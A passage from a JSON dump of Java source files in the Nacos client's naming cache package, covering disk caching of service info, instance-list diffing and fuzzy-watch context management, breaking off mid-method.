    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.naming.cache;\n\nimport com.alibaba.nacos.api.common.Constants;\nimport com.alibaba.nacos.api.naming.pojo.Instance;\nimport com.alibaba.nacos.api.naming.pojo.ServiceInfo;\nimport com.alibaba.nacos.client.utils.ConcurrentDiskUtil;\nimport com.alibaba.nacos.common.utils.CollectionUtils;\nimport com.alibaba.nacos.common.utils.JacksonUtils;\nimport com.alibaba.nacos.common.utils.StringUtils;\n\nimport java.io.BufferedReader;\nimport java.io.File;\nimport java.io.IOException;\nimport java.io.StringReader;\nimport java.io.UnsupportedEncodingException;\nimport java.net.URLDecoder;\nimport java.nio.charset.Charset;\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\nimport static com.alibaba.nacos.client.utils.LogUtils.NAMING_LOGGER;\n\n/**\n * Disk cache.\n *\n * @author xuanyin\n */\npublic class DiskCache {\n    \n    /**\n     * Write service info to dir.\n     *\n     * @param dom service info\n     * @param dir directory\n     */\n    public static void write(ServiceInfo dom, String dir) {\n        \n        try {\n            makeSureCacheDirExists(dir);\n            \n            File file = new File(dir, dom.getKeyEncoded());\n            createFileIfAbsent(file, false);\n            \n            StringBuilder keyContentBuffer = new StringBuilder();\n            \n            String json = dom.getJsonFromServer();\n            \n            if (StringUtils.isEmpty(json)) {\n                json = JacksonUtils.toJson(dom);\n            }\n            \n            keyContentBuffer.append(json);\n            \n            //Use the concurrent API to ensure the consistency.\n            ConcurrentDiskUtil.writeFileContent(file, keyContentBuffer.toString(), Charset.defaultCharset().toString());\n            \n        } catch (Throwable e) {\n            NAMING_LOGGER.error(\"[NA] failed to write cache for dom:\" + dom.getName(), e);\n        }\n    }\n    \n    public static String getLineSeparator() {\n        return System.getProperty(\"line.separator\");\n    }\n    \n    /**\n     * Read service info from disk.\n     *\n     * @param cacheDir cache file dir\n     * @return service infos\n     */\n    public static Map<String, ServiceInfo> read(String cacheDir) {\n        Map<String, ServiceInfo> domMap = new HashMap<>(16);\n        try {\n            File[] files = makeSureCacheDirExists(cacheDir).listFiles();\n            if (files == null || files.length == 0) {\n                return domMap;\n            }\n            \n            for (File file : files) {\n                if (!file.isFile()) {\n                    continue;\n                }\n                domMap.putAll(parseServiceInfoFromCache(file));\n            }\n        } catch (Throwable e) {\n            NAMING_LOGGER.error(\"[NA] failed to read cache file\", e);\n        }\n        \n        return domMap;\n    }\n    \n    /**\n     * Parse Service info from cache file or failover file.\n     *\n     * @param file cache file or failover file\n     * @return Service info\n     * @throws UnsupportedEncodingException if the file is not encoded in UTF-8\n     */\n    public static Map<String, ServiceInfo> parseServiceInfoFromCache(File file) throws UnsupportedEncodingException {\n        Map<String, ServiceInfo> result = new HashMap<>(1);\n        String fileName = URLDecoder.decode(file.getName(), \"UTF-8\");\n        if (!(fileName.endsWith(Constants.SERVICE_INFO_SPLITER + \"meta\") || fileName\n                .endsWith(Constants.SERVICE_INFO_SPLITER + \"special-url\"))) {\n            ServiceInfo dom = new ServiceInfo(fileName);\n            List<Instance> ips = new ArrayList<>();\n            dom.setHosts(ips);\n            ServiceInfo newFormat = null;\n            try (BufferedReader reader = new BufferedReader(\n                    new StringReader(ConcurrentDiskUtil.getFileContent(file, Charset.defaultCharset().toString())))) {\n                \n                String json;\n                while ((json = reader.readLine()) != null) {\n                    try {\n                        if (!json.startsWith(\"{\")) {\n                            continue;\n                        }\n                        \n                        newFormat = JacksonUtils.toObj(json, ServiceInfo.class);\n                        \n                        if (StringUtils.isEmpty(newFormat.getName())) {\n                            ips.add(JacksonUtils.toObj(json, Instance.class));\n                        }\n                    } catch (Throwable e) {\n                        NAMING_LOGGER.error(\"[NA] error while parsing cache file: \" + json, e);\n                    }\n                }\n            } catch (Exception e) {\n                NAMING_LOGGER.error(\"[NA] failed to read cache for dom: \" + file.getName(), e);\n            }\n            if (newFormat != null && !StringUtils.isEmpty(newFormat.getName()) && !CollectionUtils\n                    .isEmpty(newFormat.getHosts())) {\n                result.put(dom.getKey(), newFormat);\n            } else if (!CollectionUtils.isEmpty(dom.getHosts())) {\n                result.put(dom.getKey(), dom);\n            }\n        }\n        return result;\n    }\n    \n    /**\n     * Create file if absent.\n     *\n     * @param file  file\n     * @param isDir is dir\n     * @throws IOException if any io exception during create.\n     */\n    public static void createFileIfAbsent(File file, boolean isDir) throws IOException {\n        if (file.exists()) {\n            return;\n        }\n        boolean createResult = isDir ? file.mkdirs() : file.createNewFile();\n        if (!createResult && !file.exists()) {\n            throw new IllegalStateException(\"failed to create cache : \" + (isDir ? \"dir\" : file) + file.getPath());\n        }\n    }\n    \n    private static File makeSureCacheDirExists(String dir) throws IOException {\n        File cacheDir = new File(dir);\n        createFileIfAbsent(cacheDir, true);\n        return cacheDir;\n    }\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/naming/cache/FuzzyWatchEventWatcherWrapper.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.naming.cache;\n\nimport com.alibaba.nacos.api.naming.listener.FuzzyWatchEventWatcher;\n\nimport java.util.HashSet;\nimport java.util.Objects;\nimport java.util.Set;\nimport java.util.UUID;\n\n/**\n * fuzzy watcher wrapper.\n *\n * @author shiyiyue\n */\npublic class FuzzyWatchEventWatcherWrapper {\n    \n    long syncVersion = 0;\n    \n    FuzzyWatchEventWatcher fuzzyWatchEventWatcher;\n    \n    String uuid = UUID.randomUUID().toString();\n    \n    public FuzzyWatchEventWatcherWrapper(FuzzyWatchEventWatcher fuzzyWatchEventWatcher) {\n        this.fuzzyWatchEventWatcher = fuzzyWatchEventWatcher;\n    }\n    \n    private Set<String> syncServiceKeys = new HashSet<>();\n    \n    final String getUuid() {\n        return uuid;\n    }\n    \n    Set<String> getSyncServiceKeys() {\n        return syncServiceKeys;\n    }\n    \n    @Override\n    public boolean equals(Object o) {\n        if (this == o) {\n            return true;\n        }\n        if (o == null || getClass() != o.getClass()) {\n            return false;\n        }\n        FuzzyWatchEventWatcherWrapper that = (FuzzyWatchEventWatcherWrapper) o;\n        return Objects.equals(fuzzyWatchEventWatcher, that.fuzzyWatchEventWatcher);\n    }\n    \n    @Override\n    public int hashCode() {\n        return Objects.hash(fuzzyWatchEventWatcher);\n    }\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/naming/cache/InstancesDiffer.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.naming.cache;\n\nimport com.alibaba.nacos.api.naming.pojo.Instance;\nimport com.alibaba.nacos.api.naming.pojo.ServiceInfo;\nimport com.alibaba.nacos.client.naming.event.InstancesDiff;\nimport com.alibaba.nacos.common.utils.JacksonUtils;\nimport com.alibaba.nacos.common.utils.StringUtils;\n\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.HashSet;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Set;\n\nimport static com.alibaba.nacos.client.utils.LogUtils.NAMING_LOGGER;\n\n/**\n * The instance list differ for nacos naming.\n *\n * @author xiweng.yy\n */\npublic final class InstancesDiffer {\n    \n    /**\n     * Do instance different for input service info.\n     *\n     * @param oldService old service info\n     * @param newService new service info\n     * @return {@link InstancesDiff} of the differences between old and new service info.\n     */\n    public InstancesDiff doDiff(ServiceInfo oldService, ServiceInfo newService) {\n        InstancesDiff instancesDiff = new InstancesDiff();\n        if (null == oldService) {\n            NAMING_LOGGER.info(\"init new ips({}) service: {} -> {}\", newService.ipCount(), newService.getKey(),\n                    JacksonUtils.toJson(newService.getHosts()));\n            instancesDiff.setAddedInstances(newService.getHosts());\n            return instancesDiff;\n        }\n        if (oldService.getLastRefTime() > newService.getLastRefTime()) {\n            NAMING_LOGGER.warn(\"out of date data received, old-t: {}, new-t: {}\", oldService.getLastRefTime(),\n                    newService.getLastRefTime());\n            return instancesDiff;\n        }\n        \n        Map<String, Instance> oldHostMap = new HashMap<>(oldService.getHosts().size());\n        for (Instance host : oldService.getHosts()) {\n            oldHostMap.put(host.toInetAddr(), host);\n        }\n        Map<String, Instance> newHostMap = new HashMap<>(newService.getHosts().size());\n        for (Instance host : newService.getHosts()) {\n            newHostMap.put(host.toInetAddr(), host);\n        }\n        \n        Set<Instance> modHosts = new HashSet<>();\n        Set<Instance> newHosts = new HashSet<>();\n        Set<Instance> remvHosts = new HashSet<>();\n        \n        List<Map.Entry<String, Instance>> newServiceHosts = new ArrayList<>(newHostMap.entrySet());\n        for (Map.Entry<String, Instance> entry : newServiceHosts) {\n            Instance host = entry.getValue();\n            String key = entry.getKey();\n            if (oldHostMap.containsKey(key) && !StringUtils.equals(host.toString(), oldHostMap.get(key).toString())) {\n                modHosts.add(host);\n                continue;\n            }\n            \n            if (!oldHostMap.containsKey(key)) {\n                newHosts.add(host);\n            }\n        }\n        \n        for (Map.Entry<String, Instance> entry : oldHostMap.entrySet()) {\n            Instance host = entry.getValue();\n            String key = entry.getKey();\n            if (newHostMap.containsKey(key)) {\n                continue;\n            }\n            \n            //add to remove hosts\n            remvHosts.add(host);\n        }\n        \n        if (newHosts.size() > 0) {\n            NAMING_LOGGER.info(\"new ips({}) service: {} -> {}\", newHosts.size(), newService.getKey(),\n                    JacksonUtils.toJson(newHosts));\n            instancesDiff.setAddedInstances(newHosts);\n        }\n        \n        if (remvHosts.size() > 0) {\n            NAMING_LOGGER.info(\"removed ips({}) service: {} -> {}\", remvHosts.size(), newService.getKey(),\n                    JacksonUtils.toJson(remvHosts));\n            instancesDiff.setRemovedInstances(remvHosts);\n        }\n        \n        if (modHosts.size() > 0) {\n            NAMING_LOGGER.info(\"modified ips({}) service: {} -> {}\", modHosts.size(), newService.getKey(),\n                    JacksonUtils.toJson(modHosts));\n            instancesDiff.setModifiedInstances(modHosts);\n        }\n        return instancesDiff;\n    }\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/naming/cache/NamingFuzzyWatchContext.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.naming.cache;\n\nimport com.alibaba.nacos.api.naming.listener.FuzzyWatchChangeEvent;\nimport com.alibaba.nacos.api.naming.listener.FuzzyWatchEventWatcher;\nimport com.alibaba.nacos.api.naming.listener.FuzzyWatchLoadWatcher;\nimport com.alibaba.nacos.api.naming.pojo.ListView;\nimport com.alibaba.nacos.api.naming.utils.NamingUtils;\nimport com.alibaba.nacos.client.utils.LogUtils;\nimport com.alibaba.nacos.common.utils.CollectionUtils;\nimport com.alibaba.nacos.common.utils.ConcurrentHashSet;\nimport com.alibaba.nacos.common.utils.FuzzyGroupKeyPattern;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport org.slf4j.Logger;\n\nimport java.util.Arrays;\nimport java.util.Collections;\nimport java.util.HashSet;\nimport java.util.Iterator;\nimport java.util.List;\nimport java.util.Set;\nimport java.util.concurrent.Future;\nimport java.util.concurrent.TimeUnit;\nimport java.util.concurrent.TimeoutException;\nimport java.util.concurrent.atomic.AtomicBoolean;\nimport java.util.stream.Collectors;\n\nimport static com.alibaba.nacos.api.common.Constants.FUZZY_WATCH_DIFF_SYNC_NOTIFY;\nimport static com.alibaba.nacos.api.common.Constants.FUZZY_WATCH_INIT_NOTIFY;\nimport static com.alibaba.nacos.api.common.Constants.ServiceChangedType.ADD_SERVICE;\nimport static com.alibaba.nacos.api.common.Constants.ServiceChangedType.DELETE_SERVICE;\nimport static com.alibaba.nacos.api.model.v2.ErrorCode.FUZZY_WATCH_PATTERN_MATCH_COUNT_OVER_LIMIT;\nimport static com.alibaba.nacos.api.model.v2.ErrorCode.FUZZY_WATCH_PATTERN_OVER_LIMIT;\n\n/**\n * fuzzy wather context for a single group key pattern.\n *\n * <p>This class manages the context information for fuzzy listening, including environment name, task ID, data ID\n * pattern, group, tenant, listener set, and other related information.\n * </p>\n *\n * @author stone-98\n * @date 2024/3/4\n */\npublic class NamingFuzzyWatchContext {\n    \n    /**\n     * Logger for FuzzyListenContext.\n     */\n    private static final Logger LOGGER = LogUtils.logger(NamingFuzzyWatchContext.class);\n    \n    /**\n     * Environment name.\n     */\n    private String envName;\n    \n    private String groupKeyPattern;\n    \n    /**\n     * Set of service keys associated with the context.\n     */\n    private Set<String> receivedServiceKeys = new ConcurrentHashSet<>();\n    \n    private long syncVersion = 0;\n    \n    /**\n     * Flag indicating whether the context is consistent with the server.\n     */\n    private final AtomicBoolean isConsistentWithServer = new AtomicBoolean();\n    \n    /**\n     * Condition object for waiting initialization completion.\n     */\n    final AtomicBoolean initializationCompleted = new AtomicBoolean(false);\n    \n    /**\n     * Flag indicating whether the context is discarded.\n     */\n    private volatile boolean isDiscard = false;\n    \n    /**\n     * Set of listeners associated with the context.\n     */\n    private final Set<FuzzyWatchEventWatcherWrapper> fuzzyWatchEventWatcherWrappers = new HashSet<>();\n    \n    long patternLimitTs = 0;\n    \n    private static final long SUPPRESSED_PERIOD = 60 * 1000L;\n    \n    boolean patternLimitSuppressed() {\n        return patternLimitTs > 0 && System.currentTimeMillis() - patternLimitTs < SUPPRESSED_PERIOD;\n    }\n    \n    public void clearOverLimitTs() {\n        this.patternLimitTs = 0;\n    }\n    \n    public void refreshOverLimitTs() {\n        this.patternLimitTs = System.currentTimeMillis();\n    }\n    \n    public void refreshSyncVersion() {\n        this.syncVersion = System.currentTimeMillis();\n    }\n    \n    /**\n     * Constructor with environment name, data ID pattern, and group.\n     *\n     * @param envName         Environment name\n     * @param groupKeyPattern groupKeyPattern\n     */\n    public NamingFuzzyWatchContext(String envName, String groupKeyPattern) {\n        this.envName = envName;\n        this.groupKeyPattern = groupKeyPattern;\n    }\n    \n    private void doNotifyWatcher(final String serviceKey, final String changedType, final String syncType,\n            FuzzyWatchEventWatcherWrapper fuzzyWatchEventWatcherWrapper) {\n        \n        if (ADD_SERVICE.equals(changedType) && fuzzyWatchEventWatcherWrapper.getSyncServiceKeys()\n                .contains(serviceKey)) {\n            return;\n        }\n        \n        if (DELETE_SERVICE.equals(changedType) && !fuzzyWatchEventWatcherWrapper.getSyncServiceKeys()\n                .contains(serviceKey)) {\n            return;\n        }\n        \n        String[] serviceKeyItems = NamingUtils.parseServiceKey(serviceKey);\n        String namespace = serviceKeyItems[0];\n        String groupName = serviceKeyItems[1];\n        String serviceName = serviceKeyItems[2];\n        \n        final String resetSyncType = !initializationCompleted.get() ? FUZZY_WATCH_INIT_NOTIFY : syncType;\n        \n        Runnable job = () -> {\n            long start = System.currentTimeMillis();\n            FuzzyWatchChangeEvent event = new FuzzyWatchChangeEvent(serviceName, groupName, namespace, changedType,\n                    resetSyncType);\n            if (fuzzyWatchEventWatcherWrapper != null) {\n                fuzzyWatchEventWatcherWrapper.fuzzyWatchEventWatcher.onEvent(event);\n            }\n            LOGGER.info(\n                    \"[{}] [notify-watcher-ok] serviceName={}, groupName={}, namespace={}, watcher={},changedType={}, job run cost={} millis.\",\n                    envName, serviceName, groupName, namespace, fuzzyWatchEventWatcherWrapper.fuzzyWatchEventWatcher,\n                    changedType, (System.currentTimeMillis() - start));\n            if (changedType.equals(DELETE_SERVICE)) {\n                fuzzyWatchEventWatcherWrapper.getSyncServiceKeys()\n                        .remove(NamingUtils.getServiceKey(namespace, groupName, serviceName));\n            } else if (changedType.equals(ADD_SERVICE)) {\n                fuzzyWatchEventWatcherWrapper.getSyncServiceKeys()\n                        .add(NamingUtils.getServiceKey(namespace, groupName, serviceName));\n            }\n        };\n        \n        try {\n            if (null != fuzzyWatchEventWatcherWrapper.fuzzyWatchEventWatcher.getExecutor()) {\n                LOGGER.info(\n                        \"[{}] [notify-watcher] task submitted to user executor, serviceName={}, groupName={}, namespace={}, listener={}.\",\n                        envName, serviceName, groupName, namespace, fuzzyWatchEventWatcherWrapper);\n                fuzzyWatchEventWatcherWrapper.fuzzyWatchEventWatcher.getExecutor().execute(job);\n            } else {\n                LOGGER.info(\n                        \"[{}] [notify-watcher] task execute in nacos thread, serviceName={}, groupName={}, namespace={}, listener={}.\",\n                        envName, serviceName, groupName, namespace, fuzzyWatchEventWatcherWrapper);\n                job.run();\n            }\n        } catch (Throwable t) {\n            LOGGER.error(\n                    \"[{}] [notify-watcher-error] serviceName={}, groupName={}, namespace={}, listener={}, throwable={}.\",\n                    envName, serviceName, groupName, namespace, fuzzyWatchEventWatcherWrapper, t.getCause());\n        }\n    }\n    \n    /**\n     * Mark initialization as complete and notify waiting threads.\n     */\n    public void markInitializationComplete() {\n        LOGGER.info(\"[{}] [fuzzy-watch] pattern init notify finish pattern={},match service count {}\", envName,\n                groupKeyPattern, receivedServiceKeys.size());\n        initializationCompleted.set(true);\n        synchronized (this) {\n            notifyAll();\n        }\n    }\n    \n    /**\n     * Remove a watcher from the context.\n     *\n     * @param watcher watcher to be removed\n     */\n    public synchronized void removeWatcher(FuzzyWatchEventWatcher watcher) {\n        Iterator<FuzzyWatchEventWatcherWrapper> iterator = fuzzyWatchEventWatcherWrappers.iterator();\n        while (iterator.hasNext()) {\n            FuzzyWatchEventWatcherWrapper next = iterator.next();\n            if (next.fuzzyWatchEventWatcher.equals(watcher)) {\n                iterator.remove();\n                LOGGER.info(\"[{}] [remove-watcher-ok] groupKeyPattern={}, watcher={},uuid={} \", getEnvName(),\n                        this.groupKeyPattern, watcher, next.getUuid());\n            }\n        }\n        if (fuzzyWatchEventWatcherWrappers.isEmpty()) {\n            this.setConsistentWithServer(false);\n            this.setDiscard(true);\n        }\n    }\n    \n    /**\n     * Get the environment name.\n     *\n     * @return Environment name\n     */\n    public String getEnvName() {\n        return envName;\n    }\n    \n    /**\n     * Set the environment name.\n     *\n     * @param envName Environment name to be set\n     */\n    public void setEnvName(String envName) {\n        this.envName = envName;\n    }\n    \n    public String getGroupKeyPattern() {\n        return groupKeyPattern;\n    }\n    \n    /**\n     * Get the flag indicating whether the context is consistent with the server.\n     *\n     * @return AtomicBoolean indicating whether the context is consistent with the server\n     */\n    public boolean isConsistentWithServer() {\n        return isConsistentWithServer.get();\n    }\n    \n    public void setConsistentWithServer(boolean isConsistentWithServer) {\n        this.isConsistentWithServer.set(isConsistentWithServer);\n    }\n    \n    /**\n     * Check if the context is discarded.\n     *\n     * @return True if the context is discarded, otherwise false\n     */\n    public boolean isDiscard() {\n        return isDiscard;\n    }\n    \n    /**\n     * Set the flag indicating whether the context is discarded.\n     *\n     * @param discard True to mark the context as discarded, otherwise false\n     */\n    public void setDiscard(boolean discard) {\n        isDiscard = discard;\n    }\n    \n    /**\n     * Check if the context is initializing.\n     *\n     * @return True if the context is initializing, otherwise false\n     */\n    public boolean isInitializing() {\n        return !initializationCompleted.get();\n    }\n    \n    /**\n     * Get the set of data IDs associated with the context.\n     *\n     * @return Set of data IDs\n     */\n    public Set<String> getReceivedServiceKeys() {\n        return Collections.unmodifiableSet(receivedServiceKeys);\n    }\n    \n    /**\n     * add received service key.\n     *\n     * @param serviceKey service key.\n     * @return\n     */\n    public boolean addReceivedServiceKey(String serviceKey) {\n        boolean added = receivedServiceKeys.add(serviceKey);\n        if (added) {\n            refreshSyncVersion();\n        }\n        return added;\n    }\n    \n    /**\n     * remove received service key.\n     *\n     * @param serviceKey service key.\n     * @return\n     */\n    public boolean removeReceivedServiceKey(String serviceKey) {\n        \n        boolean removed = receivedServiceKeys.remove(serviceKey);\n        if (removed) {\n            refreshSyncVersion();\n        }\n        return removed;\n    }\n    \n    /**\n     * Get the set of listeners associated with the context.\n     *\n     * @return Set of listeners\n     */\n    public Set<FuzzyWatchEventWatcherWrapper> getFuzzyWatchEventWatcherWrappers() {\n        return fuzzyWatchEventWatcherWrappers;\n    }\n    \n    void syncFuzzyWatchers() {\n        for (FuzzyWatchEventWatcherWrapper namingFuzzyWatcher : fuzzyWatchEventWatcherWrappers) {\n            \n            if (namingFuzzyWatcher.syncVersion == this.syncVersion) {\n                continue;\n            }\n            \n            Set<String> receivedServiceKeysContext = new HashSet<>(this.getReceivedServiceKeys());\n            Set<String> syncGroupKeys = namingFuzzyWatcher.getSyncServiceKeys();\n            List<FuzzyGroupKeyPattern.GroupKeyState> groupKeyStates = FuzzyGroupKeyPattern.diffGroupKeys(\n                    receivedServiceKeysContext, syncGroupKeys);\n            if (CollectionUtils.isEmpty(groupKeyStates)) {\n                namingFuzzyWatcher.syncVersion = this.syncVersion;\n            } else {\n                for (FuzzyGroupKeyPattern.GroupKeyState groupKeyState : groupKeyStates) {\n                    String changedType = groupKeyState.isExist() ? ADD_SERVICE : DELETE_SERVICE;\n                    doNotifyWatcher(groupKeyState.getGroupKey(), changedType, FUZZY_WATCH_DIFF_SYNC_NOTIFY,\n                            namingFuzzyWatcher);\n                }\n            }\n        }\n    }\n    \n    void notifyFuzzyWatchers(String serviceKey, String changedType, String syncType, String watcherUuid) {\n        for (FuzzyWatchEventWatcherWrapper namingFuzzyWatcher : filterWatchers(watcherUuid)) {\n            doNotifyWatcher(serviceKey, changedType, syncType, namingFuzzyWatcher);\n        }\n    }\n    \n    void notifyOverLimitWatchers(int code) {\n        \n        if (this.patternLimitSuppressed()) {\n            return;\n        }\n        boolean notify = false;\n        \n        for (FuzzyWatchEventWatcherWrapper namingFuzzyWatcherWrapper : filterWatchers(null)) {\n            if (namingFuzzyWatcherWrapper.fuzzyWatchEventWatcher instanceof FuzzyWatchLoadWatcher) {\n                \n                if (FUZZY_WATCH_PATTERN_MATCH_COUNT_OVER_LIMIT.getCode().equals(code)) {\n                    ((FuzzyWatchLoadWatcher) namingFuzzyWatcherWrapper.fuzzyWatchEventWatcher).onServiceReachUpLimit();\n                    notify = true;\n                }\n                if (FUZZY_WATCH_PATTERN_OVER_LIMIT.getCode().equals(code)) {\n                    ((FuzzyWatchLoadWatcher) namingFuzzyWatcherWrapper.fuzzyWatchEventWatcher).onPatternOverLimit();\n                    notify = true;\n                }\n            }\n        }\n        if (notify) {\n            this.refreshOverLimitTs();\n        }\n    }\n    \n    private Set<FuzzyWatchEventWatcherWrapper> filterWatchers(String uuid) {\n        if (StringUtils.isBlank(uuid) || CollectionUtils.isEmpty(getFuzzyWatchEventWatcherWrappers())) {\n            return getFuzzyWatchEventWatcherWrappers();\n        } else {\n            return getFuzzyWatchEventWatcherWrappers().stream().filter(a -> a.getUuid().equals(uuid))\n                    .collect(Collectors.toSet());\n        }\n    }\n    \n    /**\n     * create a new future of this context.\n     *\n     * @return\n     */\n    public Future<ListView<String>> createNewFuture() {\n        Future<ListView<String>> completableFuture = new Future<ListView<String>>() {\n            @Override\n            public boolean cancel(boolean mayInterruptIfRunning) {\n                throw new UnsupportedOperationException(\"not support to cancel fuzzy watch\");\n            }\n            \n            @Override\n            public boolean isCancelled() {\n                return false;\n            }\n            \n            @Override\n            public boolean isDone() {\n                return NamingFuzzyWatchContext.this.initializationCompleted.get();\n            }\n            \n            @Override\n            public ListView<String> get() throws InterruptedException {\n                synchronized (NamingFuzzyWatchContext.this) {\n                    while (!NamingFuzzyWatchContext.this.initializationCompleted.get()) {\n                        NamingFuzzyWatchContext.this.wait();\n                    }\n                }\n                \n                ListView<String> result = new ListView<>();\n                result.setData(Arrays.asList(NamingFuzzyWatchContext.this.receivedServiceKeys.toArray(new String[0])));\n                result.setCount(result.getData().size());\n                return result;\n            }\n            \n            @Override\n            public ListView<String> get(long timeout, TimeUnit unit) throws InterruptedException, TimeoutException {\n                \n                if (!NamingFuzzyWatchContext.this.initializationCompleted.get()) {\n                    synchronized (NamingFuzzyWatchContext.this) {\n                        NamingFuzzyWatchContext.this.wait(unit.toMillis(timeout));\n                    }\n                }\n                \n                if (!NamingFuzzyWatchContext.this.initializationCompleted.get()) {\n                    throw new TimeoutException(\n                            \"fuzzy watch result future timeout for \" + unit.toMillis(timeout) + \" millis\");\n                }\n                \n                ListView<String> result = new ListView<>();\n                result.setData(Arrays.asList(NamingFuzzyWatchContext.this.receivedServiceKeys.toArray(new String[0])));\n                result.setCount(result.getData().size());\n                return result;\n            }\n        };\n        return completableFuture;\n    }\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/naming/cache/NamingFuzzyWatchServiceListHolder.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.naming.cache;\n\nimport com.alibaba.nacos.api.ability.constant.AbilityKey;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.exception.runtime.NacosRuntimeException;\nimport com.alibaba.nacos.api.naming.listener.FuzzyWatchEventWatcher;\nimport com.alibaba.nacos.api.naming.remote.request.NamingFuzzyWatchRequest;\nimport com.alibaba.nacos.api.naming.remote.response.NamingFuzzyWatchResponse;\nimport com.alibaba.nacos.client.naming.event.NamingFuzzyWatchLoadEvent;\nimport com.alibaba.nacos.client.naming.event.NamingFuzzyWatchNotifyEvent;\nimport com.alibaba.nacos.client.naming.remote.gprc.NamingGrpcClientProxy;\nimport com.alibaba.nacos.client.utils.LogUtils;\nimport com.alibaba.nacos.common.executor.NameThreadFactory;\nimport com.alibaba.nacos.common.lifecycle.Closeable;\nimport com.alibaba.nacos.common.notify.Event;\nimport com.alibaba.nacos.common.notify.NotifyCenter;\nimport com.alibaba.nacos.common.notify.listener.SmartSubscriber;\nimport com.alibaba.nacos.common.utils.CollectionUtils;\nimport org.slf4j.Logger;\n\nimport java.util.ArrayList;\nimport java.util.LinkedList;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Set;\nimport java.util.concurrent.ArrayBlockingQueue;\nimport java.util.concurrent.BlockingQueue;\nimport java.util.concurrent.ConcurrentHashMap;\nimport java.util.concurrent.Executors;\nimport java.util.concurrent.ScheduledExecutorService;\nimport java.util.concurrent.TimeUnit;\nimport java.util.concurrent.atomic.AtomicLong;\n\nimport static com.alibaba.nacos.api.common.Constants.FUZZY_WATCH_INIT_NOTIFY;\nimport static com.alibaba.nacos.api.common.Constants.ServiceChangedType.ADD_SERVICE;\nimport static com.alibaba.nacos.api.common.Constants.WATCH_TYPE_CANCEL_WATCH;\nimport static com.alibaba.nacos.api.common.Constants.WATCH_TYPE_WATCH;\nimport static com.alibaba.nacos.api.model.v2.ErrorCode.FUZZY_WATCH_PATTERN_MATCH_COUNT_OVER_LIMIT;\nimport static com.alibaba.nacos.api.model.v2.ErrorCode.FUZZY_WATCH_PATTERN_OVER_LIMIT;\n\n/**\n * Naming client fuzzy watch service list holder.\n *\n * @author tanyongquan\n */\npublic class NamingFuzzyWatchServiceListHolder extends SmartSubscriber implements Closeable {\n    \n    private static final Logger LOGGER = LogUtils.logger(NamingFuzzyWatchServiceListHolder.class);\n    \n    private String notifierEventScope;\n    \n    private NamingGrpcClientProxy namingGrpcClientProxy;\n    \n    /**\n     * fuzzyListenExecuteBell.\n     */\n    private final BlockingQueue<Object> fuzzyWatchExecuteBell = new ArrayBlockingQueue<>(1);\n    \n    private final Object bellItem = new Object();\n    \n    private final AtomicLong fuzzyWatchLastAllSyncTime = new AtomicLong(System.currentTimeMillis());\n    \n    private static final long FUZZY_LISTEN_ALL_SYNC_INTERNAL = 3 * 60 * 1000;\n    \n    ScheduledExecutorService executorService;\n    \n    /**\n     * The contents of {@code patternMatchMap} are Map{pattern -> Set[matched services]}.\n     */\n    private Map<String, NamingFuzzyWatchContext> fuzzyMatchContextMap = new ConcurrentHashMap<>();\n    \n    public NamingFuzzyWatchServiceListHolder(String notifierEventScope) {\n        this.notifierEventScope = notifierEventScope;\n        NotifyCenter.registerSubscriber(this);\n    }\n    \n    /**\n     * shut down.\n     */\n    @Override\n    public 